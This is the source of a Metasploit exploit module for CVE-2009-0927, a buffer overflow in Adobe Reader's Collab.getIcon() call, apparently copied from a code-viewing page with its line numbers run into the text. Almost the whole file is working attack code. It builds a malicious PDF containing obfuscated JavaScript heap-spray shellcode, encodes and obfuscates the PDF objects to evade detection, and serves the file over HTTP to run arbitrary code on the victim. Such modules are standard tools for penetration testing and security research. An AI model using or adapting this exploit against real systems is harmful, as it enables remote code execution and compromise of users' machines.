Path: blob/master/modules/exploits/windows/browser/adobe_geticon.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Collab.getIcon() Buffer Overflow',17'Description' => %q{18This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.19Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially20crafted pdf that a contains malformed Collab.getIcon() call, an attacker may21be able to execute arbitrary code.22},23'License' => MSF_LICENSE,24'Author' => [25'MC',26'Didier Stevens <didier.stevens[at]gmail.com>',27'jduck'28],29'References' => [30[ 'CVE', '2009-0927' ],31[ 'OSVDB', '53647' ],32[ 'ZDI', '09-014' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']34],35'DefaultOptions' => {36'EXITFUNC' => 'process',37},38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00",41},42'Platform' => 'win',43'Targets' => [44# test results (on Windows XP SP3)45# reader 7.0.5 - no trigger46# reader 7.0.8 - no trigger47# reader 7.0.9 - no trigger48# reader 7.1.0 - no trigger49# reader 7.1.1 - reported not vulnerable50# reader 8.0.0 - works51# reader 8.1.2 - works52# reader 8.1.3 - reported not vulnerable53# reader 9.0.0 - works54# reader 9.1.0 - reported not vulnerable55[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],56],57'DisclosureDate' => '2009-03-24',58'DefaultTarget' => 0,59'Notes' => {60'Reliability' => UNKNOWN_RELIABILITY,61'Stability' => UNKNOWN_STABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63}64)65)66end6768def autofilter69false70end7172def check_dependencies73use_zlib74end7576def on_request_uri(cli, request)77return if ((p = regenerate_payload(cli)) == nil)7879# Encode the shellcode.80shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8182# Make some nops83nops = Rex::Text.to_unescape(make_nops(4))8485# Randomize variables86rand1 = rand_text_alpha(rand(100) + 1)87rand2 = rand_text_alpha(rand(100) + 1)88rand3 = rand_text_alpha(rand(100) + 1)89rand4 = rand_text_alpha(rand(100) + 1)90rand5 = rand_text_alpha(rand(100) + 1)91rand6 = rand_text_alpha(rand(100) + 1)92rand7 = rand_text_alpha(rand(100) + 1)93rand8 = rand_text_alpha(rand(100) + 1)94rand9 = rand_text_alpha(rand(100) + 1)95rand10 = rand_text_alpha(rand(100) + 1)96rand11 = rand_text_alpha(rand(100) + 1)97rand12 = rand_text_alpha(rand(100) + 1)98randnop = rand_text_alpha(rand(100) + 1)99100script = %Q|101var #{rand1} = unescape("#{shellcode}");102var #{rand2} ="";103var #{randnop} = "#{nops}";104for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}");105#{rand4} = #{rand2} + #{rand1};106#{rand5} = unescape(#{randnop});107#{rand6} = 20;108#{rand7} = #{rand6}+#{rand4}.length109while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};110#{rand8} = #{rand5}.substring(0, #{rand7});111#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});112while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};113#{rand10} = new Array();114for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};115var #{rand12} = unescape("%0a");116while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};117#{rand12} = "N."+#{rand12};118Collab.getIcon(#{rand12});119|120121# Create the pdf122pdf = make_pdf(script)123124print_status("Sending #{self.name}")125126send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })127128handler(cli)129end130131def random_non_ascii_string(count)132result = ""133count.times do134result << (rand(128) + 128).chr135end136result137end138139def io_def(id)140"%d 0 obj" % id141end142143def io_ref(id)144"%d 0 R" % id145end146147# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/148def n_obfu(str)149result = ""150str.scan(/./u) do |c|151if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'152result << "#%x" % c.unpack("C*")[0]153else154result << c155end156end157result158end159160def ascii_hex_whitespace_encode(str)161result = ""162whitespace = ""163str.each_byte do |b|164result << whitespace << "%02x" % b165whitespace = " " * (rand(3) + 1)166end167result << ">"168end169170def make_pdf(js)171xref = []172eol = "\x0d\x0a"173endobj = "endobj" << eol174175pdf = "%PDF-1.5" << eol176pdf << "%" << random_non_ascii_string(4) << eol177xref << pdf.length178pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj179xref << pdf.length180pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj181xref << pdf.length182pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj183xref << pdf.length184pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj185xref << pdf.length186pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj187xref << pdf.length188compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))189pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol190pdf << "stream" << eol191pdf << compressed << eol192pdf << "endstream" << eol193pdf << endobj194xrefPosition = pdf.length195pdf << "xref" << eol196pdf << "0 %d" % (xref.length + 1) << eol197pdf << "0000000000 65535 f" << eol198xref.each do |index|199pdf << "%010d 00000 n" % index << eol200end201pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol202pdf << "startxref" << eol203pdf << xrefPosition.to_s() << eol204pdf << "%%EOF" << eol205end206end207208209